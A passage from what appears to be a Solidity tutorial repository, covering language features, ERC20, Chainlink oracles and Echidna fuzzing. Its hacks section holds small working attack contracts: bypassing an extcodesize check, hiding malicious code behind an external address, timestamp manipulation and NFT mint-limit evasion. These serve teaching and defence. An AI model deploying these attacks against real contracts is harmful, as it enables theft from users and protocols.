newBalance; 16 | 17 | assert(balance >= oldBalance); 18 | } 19 | 20 | function withdraw(uint _amount) public { 21 | uint oldBalance = balance; 22 | 23 | // balance - _amount does not underflow if balance >= _amount 24 | require(balance >= _amount, "Underflow"); 25 | 26 | if (balance < _amount) { 27 | revert("Underflow"); 28 | } 29 | 30 | balance -= _amount; 31 | 32 | assert(balance <= oldBalance); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/pages/sending-ether/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Sending Ether (transfer, send, call) 3 | version: 0.8.10 4 | description: An example of sending Ether in Solidity 5 | --- 6 | 7 | ### How to send Ether? 8 | 9 | You can send Ether to other contracts by 10 | 11 | - `transfer` (2300 gas, throws error) 12 | - `send` (2300 gas, returns bool) 13 | - `call` (forward all gas or set gas, returns bool) 14 | 15 | ### How to receive Ether? 16 | 17 | A contract receiving Ether must have at least one of the functions below 18 | 19 | - `receive() external payable` 20 | - `fallback() external payable` 21 | 22 | `receive()` is called if `msg.data` is empty, otherwise `fallback()` is called. 23 | 24 | ### Which method should you use? 25 | 26 | `call` in combination with re-entrancy guard is the recommended method to use after December 2019. 27 | 28 | Guard against re-entrancy by 29 | 30 | - making all state changes before calling other contracts 31 | - using re-entrancy guard modifier 32 | 33 | ```solidity 34 | {{{SendingEther}}} 35 | ``` 36 | -------------------------------------------------------------------------------- /src/pages/import/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Import 3 | version: 0.8.10 4 | description: Learn how to import other Solidity files 5 | --- 6 | 7 | You can import local and external files in Solidity. 8 | 9 | ### Local 10 | 11 | Here is our folder structure. 12 | 13 | ``` 14 | ├── Import.sol 15 | └── Foo.sol 16 | ``` 17 | 18 | Foo.sol 19 | 20 | ```solidity 21 | {{{Foo}}} 22 | ``` 23 | 24 | Import.sol 25 | 26 | ```solidity 27 | {{{Import}}} 28 | ``` 29 | 30 | ### External 31 | 32 | You can also import from [GitHub](https://github.com) by simply copying the url 33 | 34 | ```solidity 35 | // https://github.com/owner/repo/blob/branch/path/to/Contract.sol 36 | import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol"; 37 | 38 | // Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch 39 | // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol 40 | import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; 41 | 42 | ``` 43 | -------------------------------------------------------------------------------- /src/pages/enum/Enum.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Enum { 5 | // Enum representing shipping status 6 | enum Status { 7 | Pending, 8 | Shipped, 9 | Accepted, 10 | Rejected, 11 | Canceled 12 | } 13 | 14 | // Default value is the first element listed in 15 | // definition of the type, in this case "Pending" 16 | Status public status; 17 | 18 | // Returns uint 19 | // Pending - 0 20 | // Shipped - 1 21 | // Accepted - 2 22 | // Rejected - 3 23 | // Canceled - 4 24 | function get() public view returns (Status) { 25 | return status; 26 | } 27 | 28 | // Update status by passing uint into input 29 | function set(Status _status) public { 30 | status = _status; 31 | } 32 | 33 | // You can update to a specific enum like this 34 | function cancel() public { 35 | status = Status.Canceled; 36 | } 37 | 38 | // delete resets the enum to its first value, 0 39 | function reset() public { 40 | delete status; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/pages/array/ArrayRemoveByShifting.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract ArrayRemoveByShifting { 5 | // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3] 6 | // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6] 7 | // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6] 8 | // [1] -- remove(0) --> [1] --> [] 9 | 10 | uint[] public arr; 11 | 12 | function remove(uint _index) public { 13 | require(_index < arr.length, "index out of bound"); 14 | 15 | for (uint i = _index; i < arr.length - 1; i++) { 16 | arr[i] = arr[i + 1]; 17 | } 18 | arr.pop(); 19 | } 20 | 21 | function test() external { 22 | arr = [1, 2, 3, 4, 5]; 23 | remove(2); 24 | // [1, 2, 4, 5] 25 | assert(arr[0] == 1); 26 | assert(arr[1] == 2); 27 | assert(arr[2] == 4); 28 | assert(arr[3] == 5); 29 | assert(arr.length == 4); 30 | 31 | arr = [1]; 32 | remove(0); 33 | // [] 34 | assert(arr.length == 0); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Tasuku Nakamura 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/pages/data-locations/DataLocations.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract DataLocations { 5 | uint[] public arr; 6 | mapping(uint => address) map; 7 | struct MyStruct { 8 | uint foo; 9 | } 10 | mapping(uint => MyStruct) myStructs; 11 | 12 | function f() public { 13 | // call _f with state variables 14 | _f(arr, map, myStructs[1]); 15 | 16 | // get a struct from a mapping 17 | MyStruct storage myStruct = myStructs[1]; 18 | // create a struct in memory 19 | MyStruct memory myMemStruct = MyStruct(0); 20 | } 21 | 22 | function _f( 23 | uint[] storage _arr, 24 | mapping(uint => address) storage _map, 25 | MyStruct storage _myStruct 26 | ) internal { 27 | // do something with storage variables 28 | } 29 | 30 | // You can return memory variables 31 | function g(uint[] memory _arr) public returns (uint[] memory) { 32 | // do something with memory array 33 | } 34 | 35 | function h(uint[] calldata _arr) external { 36 | // do something with calldata array 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/pages/defi/chainlink-price-oracle/Chainlink.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; 5 | 6 | contract ChainlinkPriceOracle { 7 | AggregatorV3Interface internal priceFeed; 8 | 9 | constructor() { 10 | // ETH / USD 11 | priceFeed = AggregatorV3Interface(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); 12 | } 13 | 14 | function getLatestPrice() public view returns (int) { 15 | ( 16 | uint80 roundID, 17 | int price, 18 | uint startedAt, 19 | uint timeStamp, 20 | uint80 answeredInRound 21 | ) = priceFeed.latestRoundData(); 22 | // for ETH / USD price is scaled up by 10 ** 8 23 | return price / 1e8; 24 | } 25 | } 26 | 27 | interface AggregatorV3Interface { 28 | function latestRoundData() 29 | external 30 | view 31 | returns ( 32 | uint80 roundId, 33 | int answer, 34 | uint startedAt, 35 | uint updatedAt, 36 | uint80 answeredInRound 37 | ); 38 | } 39 | -------------------------------------------------------------------------------- /src/pages/tests/echidna/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Echidna 3 | version: 0.8.10 4 | description: An example of testing contracts with Echidna 5 | --- 6 | 7 | Examples of fuzzing with [Echidna](https://github.com/crytic/echidna). 8 | 9 | 1. Save the solidity contract as `TestEchidna.sol` 10 | 2. In the folder where your contract is stored execute the following command. 11 | 12 | ```shell 13 | docker run -it --rm -v $PWD:/code trailofbits/eth-security-toolbox 14 | ``` 15 | 16 | Inside docker, your code will be stored at `/code` 17 | 18 | 3. See the comments below and execute `echidna-test` commands. 19 | 20 | ```solidity 21 | {{{TestEchidna}}} 22 | ``` 23 | 24 | ### Testing Time and Sender 25 | 26 | Echidna can fuzz timestamp. Range of timestamp is set in the configuration. Default is 7 days. 27 | 28 | Contract callers can also be set in the configuration. Default accounts are 29 | 30 | - `0x10000` 31 | - `0x20000` 32 | - `0x00a329C0648769a73afAC7F9381e08fb43DBEA70` 33 | 34 | Click [here](https://github.com/crytic/echidna/blob/master/examples/solidity/basic/default.yaml) to see the default configuration 35 | 36 | ```solidity 37 | {{{EchidnaTestTimeAndCaller}}} 38 | ``` 39 | -------------------------------------------------------------------------------- /src/pages/app/write-to-any-slot/Slot.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Storage { 5 | struct MyStruct { 6 | uint value; 7 | } 8 | 9 | // struct stored at slot 0 10 | MyStruct public s0 = MyStruct(123); 11 | // struct stored at slot 1 12 | MyStruct public s1 = MyStruct(456); 13 | // struct stored at slot 2 14 | MyStruct public s2 = MyStruct(789); 15 | 16 | function _get(uint i) internal pure returns (MyStruct storage s) { 17 | // get struct stored at slot i 18 | assembly { 19 | s.slot := i 20 | } 21 | } 22 | 23 | /* 24 | get(0) returns 123 25 | get(1) returns 456 26 | get(2) returns 789 27 | */ 28 | function get(uint i) external view returns (uint) { 29 | // get value inside MyStruct stored at slot i 30 | return _get(i).value; 31 | } 32 | 33 | /* 34 | We can save data to any slot including slot 999 which is normally unaccessble. 35 | 36 | set(999) = 888 37 | */ 38 | function set(uint i, uint x) external { 39 | // set value of MyStruct to x and store it at slot i 40 | _get(i).value = x; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/pages/hashing/Keccak256.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract HashFunction { 5 | function hash( 6 | string memory _text, 7 | uint _num, 8 | address _addr 9 | ) public pure returns (bytes32) { 10 | return keccak256(abi.encodePacked(_text, _num, _addr)); 11 | } 12 | 13 | // Example of hash collision 14 | // Hash collision can occur when you pass more than one dynamic data type 15 | // to abi.encodePacked. In such case, you should use abi.encode instead. 16 | function collision(string memory _text, string memory _anotherText) 17 | public 18 | pure 19 | returns (bytes32) 20 | { 21 | // encodePacked(AAA, BBB) -> AAABBB 22 | // encodePacked(AA, ABBB) -> AAABBB 23 | return keccak256(abi.encodePacked(_text, _anotherText)); 24 | } 25 | } 26 | 27 | contract GuessTheMagicWord { 28 | bytes32 public answer = 29 | 0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00; 30 | 31 | // Magic word is "Solidity" 32 | function guess(string memory _word) public view returns (bool) { 33 | return keccak256(abi.encodePacked(_word)) == answer; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/pages/hacks/block-timestamp-manipulation/BlockTimestamp.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | Roulette is a game where you can win all of the Ether in the contract 6 | if you can submit a transaction at a specific timing. 7 | A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0. 8 | */ 9 | 10 | /* 11 | 1. Deploy Roulette with 10 Ether 12 | 2. Eve runs a powerful miner that can manipulate the block timestamp. 13 | 3. Eve sets the block.timestamp to a number in the future that is divisible by 14 | 15 and finds the target block hash. 15 | 4. Eve's block is successfully included into the chain, Eve wins the 16 | Roulette game. 17 | */ 18 | 19 | contract Roulette { 20 | uint public pastBlockTime; 21 | 22 | constructor() payable {} 23 | 24 | function spin() external payable { 25 | require(msg.value == 10 ether); // must send 10 ether to play 26 | require(block.timestamp != pastBlockTime); // only 1 transaction per block 27 | 28 | pastBlockTime = block.timestamp; 29 | 30 | if (block.timestamp % 15 == 0) { 31 | (bool sent, ) = msg.sender.call{value: address(this).balance}(""); 32 | require(sent, "Failed to send Ether"); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/pages/constants/index.html.ts: -------------------------------------------------------------------------------- 1 | // metadata 2 | export const version = "0.8.10" 3 | export const title = "Constants" 4 | export const description = "Constant variables" 5 | 6 | const html = `

Constants are variables that cannot be modified.

7 |

Their value is hard coded and using constants can save gas cost.

8 |
// SPDX-License-Identifier: MIT
 9 | pragma solidity ^0.8.10;
10 | 
11 | contract Constants {
12 |     // coding convention to uppercase constant variables
13 |     address public constant MY_ADDRESS = 0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
14 |     uint public constant MY_UINT = 123;
15 | }
16 | 
17 | ` 18 | 19 | export default html 20 | -------------------------------------------------------------------------------- /src/pages/constructor/Constructor.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | // Base contract X 5 | contract X { 6 | string public name; 7 | 8 | constructor(string memory _name) { 9 | name = _name; 10 | } 11 | } 12 | 13 | // Base contract Y 14 | contract Y { 15 | string public text; 16 | 17 | constructor(string memory _text) { 18 | text = _text; 19 | } 20 | } 21 | 22 | // There are 2 ways to initialize parent contract with parameters. 23 | 24 | // Pass the parameters here in the inheritance list. 25 | contract B is X("Input to X"), Y("Input to Y") { 26 | 27 | } 28 | 29 | contract C is X, Y { 30 | // Pass the parameters here in the constructor, 31 | // similar to function modifiers. 32 | constructor(string memory _name, string memory _text) X(_name) Y(_text) {} 33 | } 34 | 35 | // Parent constructors are always called in the order of inheritance 36 | // regardless of the order of parent contracts listed in the 37 | // constructor of the child contract. 38 | 39 | // Order of constructors called: 40 | // 1. X 41 | // 2. Y 42 | // 3. D 43 | contract D is X, Y { 44 | constructor() X("X was called") Y("Y was called") {} 45 | } 46 | 47 | // Order of constructors called: 48 | // 1. X 49 | // 2. Y 50 | // 3. E 51 | contract E is X, Y { 52 | constructor() Y("Y was called") X("X was called") {} 53 | } 54 | -------------------------------------------------------------------------------- /src/components/mode-light.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/App.tsx: -------------------------------------------------------------------------------- 1 | import React, { useEffect } from "react" 2 | import { BrowserRouter as Router, Routes, Route } from "react-router-dom" 3 | import { useAppContext } from "./contexts/AppContext" 4 | import styles from "./App.module.css" 5 | import Header from "./components/Header" 6 | import Footer from "./components/Footer" 7 | import routes from "./routes" 8 | import { getPrevNextPaths } from "./pages/index" 9 | 10 | function App() { 11 | const { state, loadLocalStorage } = useAppContext() 12 | 13 | useEffect(() => { 14 | loadLocalStorage() 15 | }, []) 16 | 17 | if (state.loading) { 18 | return null 19 | } 20 | 21 | return ( 22 | 23 |
24 |
25 |
26 | 27 | {routes.map((route) => { 28 | const { prev, next } = getPrevNextPaths(route.path) 29 | return ( 30 | 35 | ) 36 | })} 37 | 38 |
39 |
40 |
41 |
42 |
43 |
44 | ) 45 | } 46 | 47 | export default App 48 | -------------------------------------------------------------------------------- /src/pages/mapping/Mapping.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Mapping { 5 | // Mapping from address to uint 6 | mapping(address => uint) public myMap; 7 | 8 | function get(address _addr) public view returns (uint) { 9 | // Mapping always returns a value. 10 | // If the value was never set, it will return the default value. 11 | return myMap[_addr]; 12 | } 13 | 14 | function set(address _addr, uint _i) public { 15 | // Update the value at this address 16 | myMap[_addr] = _i; 17 | } 18 | 19 | function remove(address _addr) public { 20 | // Reset the value to the default value. 21 | delete myMap[_addr]; 22 | } 23 | } 24 | 25 | contract NestedMapping { 26 | // Nested mapping (mapping from address to another mapping) 27 | mapping(address => mapping(uint => bool)) public nested; 28 | 29 | function get(address _addr1, uint _i) public view returns (bool) { 30 | // You can get values from a nested mapping 31 | // even when it is not initialized 32 | return nested[_addr1][_i]; 33 | } 34 | 35 | function set( 36 | address _addr1, 37 | uint _i, 38 | bool _boo 39 | ) public { 40 | nested[_addr1][_i] = _boo; 41 | } 42 | 43 | function remove(address _addr1, uint _i) public { 44 | delete nested[_addr1][_i]; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/pages/call/Call.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Receiver { 5 | event Received(address caller, uint amount, string message); 6 | 7 | fallback() external payable { 8 | emit Received(msg.sender, msg.value, "Fallback was called"); 9 | } 10 | 11 | function foo(string memory _message, uint _x) public payable returns (uint) { 12 | emit Received(msg.sender, msg.value, _message); 13 | 14 | return _x + 1; 15 | } 16 | } 17 | 18 | contract Caller { 19 | event Response(bool success, bytes data); 20 | 21 | // Let's imagine that contract B does not have the source code for 22 | // contract A, but we do know the address of A and the function to call. 23 | function testCallFoo(address payable _addr) public payable { 24 | // You can send ether and specify a custom gas amount 25 | (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}( 26 | abi.encodeWithSignature("foo(string,uint256)", "call foo", 123) 27 | ); 28 | 29 | emit Response(success, data); 30 | } 31 | 32 | // Calling a function that does not exist triggers the fallback function. 33 | function testCallDoesNotExist(address _addr) public { 34 | (bool success, bytes memory data) = _addr.call( 35 | abi.encodeWithSignature("doesNotExist()") 36 | ); 37 | 38 | emit Response(success, data); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /src/pages/hacks/contract-size/ContractSize.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Target { 5 | function isContract(address account) public view returns (bool) { 6 | // This method relies on extcodesize, which returns 0 for contracts in 7 | // construction, since the code is only stored at the end of the 8 | // constructor execution. 9 | uint size; 10 | assembly { 11 | size := extcodesize(account) 12 | } 13 | return size > 0; 14 | } 15 | 16 | bool public pwned = false; 17 | 18 | function protected() external { 19 | require(!isContract(msg.sender), "no contract allowed"); 20 | pwned = true; 21 | } 22 | } 23 | 24 | contract FailedAttack { 25 | // Attempting to call Target.protected will fail, 26 | // Target block calls from contract 27 | function pwn(address _target) external { 28 | // This will fail 29 | Target(_target).protected(); 30 | } 31 | } 32 | 33 | contract Hack { 34 | bool public isContract; 35 | address public addr; 36 | 37 | // When contract is being created, code size (extcodesize) is 0. 38 | // This will bypass the isContract() check 39 | constructor(address _target) { 40 | isContract = Target(_target).isContract(address(this)); 41 | addr = address(this); 42 | // This will work 43 | Target(_target).protected(); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /scripts/lib.ts: -------------------------------------------------------------------------------- 1 | import assert from "assert" 2 | import fs from "fs" 3 | import mustache from "mustache" 4 | const { access, readFile, writeFile } = fs.promises 5 | 6 | export async function exists(filePath: string): Promise { 7 | try { 8 | await access(filePath) 9 | return true 10 | } catch (error) { 11 | return false 12 | } 13 | } 14 | 15 | export async function copy(fromFilePath: string, toFilePath: string) { 16 | const file = await readFile(fromFilePath) 17 | await writeFile(toFilePath, file) 18 | } 19 | 20 | export function removeExt(file: string | undefined): string { 21 | if (!file) { 22 | throw new Error(`Failed to remove extension. Invalid file name`) 23 | } 24 | 25 | return file.split(".").slice(0, -1).join("") 26 | } 27 | 28 | export function getExt(file: string | undefined): string { 29 | if (!file) { 30 | throw new Error(`Failed to get extension. Invalid file name`) 31 | } 32 | 33 | const ext = file.split(".").slice(-1)[0] 34 | 35 | if (!ext) { 36 | throw new Error(`Failed to get file extension.`) 37 | } 38 | 39 | return ext 40 | } 41 | 42 | export async function renderTemplateToFile( 43 | templatePath: string, 44 | writeToPath: string, 45 | data: {} 46 | ): Promise { 47 | const template = (await readFile(templatePath)).toString() 48 | const content = mustache.render(template, data) 49 | await writeFile(writeToPath, content) 50 | 51 | console.log(`Created ${writeToPath}`) 52 | } 53 | -------------------------------------------------------------------------------- /src/pages/hacks/hiding-malicious-code-with-external-contract/ExternalContract.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | /* 5 | Let's say Alice can see the code of Foo and Bar but not Mal. 6 | It is obvious to Alice that Foo.callBar() executes the code inside Bar.log(). 7 | However Eve deploys Foo with the address of Mal, so that calling Foo.callBar() 8 | will actually execute the code at Mal. 9 | */ 10 | 11 | /* 12 | 1. Eve deploys Mal 13 | 2. Eve deploys Foo with the address of Mal 14 | 3. Alice calls Foo.callBar() after reading the code and judging that it is 15 | safe to call. 16 | 4. Although Alice expected Bar.log() to be execute, Mal.log() was executed. 17 | */ 18 | 19 | contract Foo { 20 | Bar bar; 21 | 22 | constructor(address _bar) { 23 | bar = Bar(_bar); 24 | } 25 | 26 | function callBar() public { 27 | bar.log(); 28 | } 29 | } 30 | 31 | contract Bar { 32 | event Log(string message); 33 | 34 | function log() public { 35 | emit Log("Bar was called"); 36 | } 37 | } 38 | 39 | // This code is hidden in a separate file 40 | contract Mal { 41 | event Log(string message); 42 | 43 | // function () external { 44 | // emit Log("Mal was called"); 45 | // } 46 | 47 | // Actually we can execute the same exploit even if this function does 48 | // not exist by using the fallback 49 | function log() public { 50 | emit Log("Mal was called"); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /src/components/mode-dark.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/pages/error/Error.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Error { 5 | function testRequire(uint _i) public pure { 6 | // Require should be used to validate conditions such as: 7 | // - inputs 8 | // - conditions before execution 9 | // - return values from calls to other functions 10 | require(_i > 10, "Input must be greater than 10"); 11 | } 12 | 13 | function testRevert(uint _i) public pure { 14 | // Revert is useful when the condition to check is complex. 15 | // This code does the exact same thing as the example above 16 | if (_i <= 10) { 17 | revert("Input must be greater than 10"); 18 | } 19 | } 20 | 21 | uint public num; 22 | 23 | function testAssert() public view { 24 | // Assert should only be used to test for internal errors, 25 | // and to check invariants. 26 | 27 | // Here we assert that num is always equal to 0 28 | // since it is impossible to update the value of num 29 | assert(num == 0); 30 | } 31 | 32 | // custom error 33 | error InsufficientBalance(uint balance, uint withdrawAmount); 34 | 35 | function testCustomError(uint _withdrawAmount) public view { 36 | uint bal = address(this).balance; 37 | if (bal < _withdrawAmount) { 38 | revert InsufficientBalance({balance: bal, withdrawAmount: _withdrawAmount}); 39 | } 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/components/Example.tsx: -------------------------------------------------------------------------------- 1 | import React from "react" 2 | import SEO from "./SEO" 3 | import Html from "./Html" 4 | import styles from "./Example.module.css" 5 | 6 | interface Path { 7 | title: string 8 | path: string 9 | } 10 | 11 | interface Props { 12 | title: string 13 | description: string 14 | version: "0.8.10" 15 | html: string 16 | prev: Path | null 17 | next: Path | null 18 | } 19 | 20 | const Example: React.FC = ({ 21 | title, 22 | version, 23 | description, 24 | html, 25 | prev, 26 | next, 27 | }) => { 28 | return ( 29 |
30 | 34 |
35 |

{title}

36 | 37 | 38 | 39 |
40 | {prev && ( 41 | 42 | {`< `} 43 | {prev.title} 44 | 45 | )} 46 | {next && ( 47 | 48 | {next.title} 49 | {` >`} 50 | 51 | )} 52 |
53 | 54 |

55 | Try on{" "} 56 | 57 | Remix 58 | 59 |

60 |
61 |
62 | ) 63 | } 64 | 65 | export default Example 66 | -------------------------------------------------------------------------------- /src/pages/structs/Structs.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Todos { 5 | struct Todo { 6 | string text; 7 | bool completed; 8 | } 9 | 10 | // An array of 'Todo' structs 11 | Todo[] public todos; 12 | 13 | function create(string memory _text) public { 14 | // 3 ways to initialize a struct 15 | // - calling it like a function 16 | todos.push(Todo(_text, false)); 17 | 18 | // key value mapping 19 | todos.push(Todo({text: _text, completed: false})); 20 | 21 | // initialize an empty struct and then update it 22 | Todo memory todo; 23 | todo.text = _text; 24 | // todo.completed initialized to false 25 | 26 | todos.push(todo); 27 | } 28 | 29 | // Solidity automatically created a getter for 'todos' so 30 | // you don't actually need this function. 31 | function get(uint _index) public view returns (string memory text, bool completed) { 32 | Todo storage todo = todos[_index]; 33 | return (todo.text, todo.completed); 34 | } 35 | 36 | // update text 37 | function update(uint _index, string memory _text) public { 38 | Todo storage todo = todos[_index]; 39 | todo.text = _text; 40 | } 41 | 42 | // update completed 43 | function toggleCompleted(uint _index) public { 44 | Todo storage todo = todos[_index]; 45 | todo.completed = !todo.completed; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/pages/immutable/index.html.ts: -------------------------------------------------------------------------------- 1 | // metadata 2 | export const version = "0.8.10" 3 | export const title = "Immutable" 4 | export const description = "Immutable variables" 5 | 6 | const html = `

Immutable variables are like constants. Values of immutable variables can be set inside the constructor but cannot be modified afterwards.

7 |
// SPDX-License-Identifier: MIT
 8 | pragma solidity ^0.8.10;
 9 | 
10 | contract Immutable {
11 |     // coding convention to uppercase constant variables
12 |     address public immutable MY_ADDRESS;
13 |     uint public immutable MY_UINT;
14 | 
15 |     constructor(uint _myUint) {
16 |         MY_ADDRESS = msg.sender;
17 |         MY_UINT = _myUint;
18 |     }
19 | }
20 | 
21 | ` 22 | 23 | export default html 24 | -------------------------------------------------------------------------------- /src/pages/app/erc20/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: ERC20 3 | version: 0.8.10 4 | description: Example of ERC20 token in Solidity 5 | --- 6 | 7 | Any contract that follow the ERC20 standard is a ERC20 token. 8 | 9 | ERC20 tokens provide functionalities to 10 | 11 | - transfer tokens 12 | - allow others to transfer tokens on behalf of the token holder 13 | 14 | Here is the interface for ERC20. 15 | 16 | ```solidity 17 | {{{IERC20}}} 18 | ``` 19 | 20 | Example of `ERC20` token contract. 21 | 22 | ```solidity 23 | {{{ERC20}}} 24 | ``` 25 | 26 | ## Create your own ERC20 token 27 | 28 | Using Open Zeppelin it's really easy to create your own ERC20 token. 29 | 30 | Here is an example 31 | 32 | ```solidity 33 | {{{MyToken}}} 34 | ``` 35 | 36 | ## Contract to swap tokens 37 | 38 | Here is an example contract, `TokenSwap`, to trade one ERC20 token for another. 39 | 40 | This contract will swap tokens by calling 41 | 42 | ```solidity 43 | transferFrom(address sender, address recipient, uint256 amount) 44 | 45 | ``` 46 | 47 | which will transfer `amount` of token from `sender` to `recipient`. 48 | 49 | For `transferFrom` to succeed, `sender` must 50 | 51 | - have more than `amount` tokens in their balance 52 | - allowed `TokenSwap` to withdraw `amount` tokens by calling `approve` 53 | 54 | prior to `TokenSwap` calling `transferFrom` 55 | 56 | ```solidity 57 | {{{TokenSwap}}} 58 | ``` 59 | -------------------------------------------------------------------------------- /src/pages/hacks/NFT-multi-mint/NFTMultiMint.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.1; 3 | 4 | // 接口合约 5 | interface IERC721 { 6 | // 总量 7 | function totalSupply() external view returns (uint); 8 | 9 | // 铸造方法 10 | function mint(uint amount) external payable; 11 | 12 | // 发送方法 13 | function transferFrom( 14 | address from, 15 | address to, 16 | uint tokenId 17 | ) external; 18 | } 19 | 20 | // 铸造合约 21 | contract ERC721Mint { 22 | // 构造函数(nft合约地址, 归集地址) 23 | constructor(address ERC721, address owner) payable { 24 | // 获取总量 25 | uint t = IERC721(ERC721).totalSupply(); 26 | // 铸造(0.05购买总价)(5购买数量) 27 | IERC721(ERC721).mint{value: 0.05 ether}(5); 28 | // 归集 29 | for (uint i = 1; i <= 5; i++) { 30 | // 发送操作,(当前合约地址,归集地址,tokenId) 31 | IERC721(ERC721).transferFrom(address(this), owner, t + i); 32 | } 33 | // 自毁(收款地址,归集地址) 34 | selfdestruct(payable(owner)); 35 | } 36 | } 37 | 38 | // 工厂合约 39 | contract MintFactory { 40 | // 所有者地址 41 | address owner; 42 | 43 | constructor() { 44 | // 所有者 = 合约部署者 45 | owner = msg.sender; 46 | } 47 | 48 | // 部署方法,(NFT合约地址,抢购数量) 49 | function deploy(address ERC721, uint count) public payable { 50 | // 用抢购数量进行循环 51 | for (uint i; i < count; i++) { 52 | // 部署合约(抢购总价)(NFT合约地址,所有者地址) 53 | new ERC721Mint{value: 0.05 ether}(ERC721, owner); 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/pages/payable/Payable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract Payable { 5 | // Payable address can receive Ether 6 | address payable public owner; 7 | 8 | // Payable constructor can receive Ether 9 | constructor() payable { 10 | owner = payable(msg.sender); 11 | } 12 | 13 | // Function to deposit Ether into this contract. 14 | // Call this function along with some Ether. 15 | // The balance of this contract will be automatically updated. 16 | function deposit() public payable {} 17 | 18 | // Call this function along with some Ether. 19 | // The function will throw an error since this function is not payable. 20 | function notPayable() public {} 21 | 22 | // Function to withdraw all Ether from this contract. 23 | function withdraw() public { 24 | // get the amount of Ether stored in this contract 25 | uint amount = address(this).balance; 26 | 27 | // send all Ether to owner 28 | // Owner can receive Ether since the address of owner is payable 29 | (bool success, ) = owner.call{value: amount}(""); 30 | require(success, 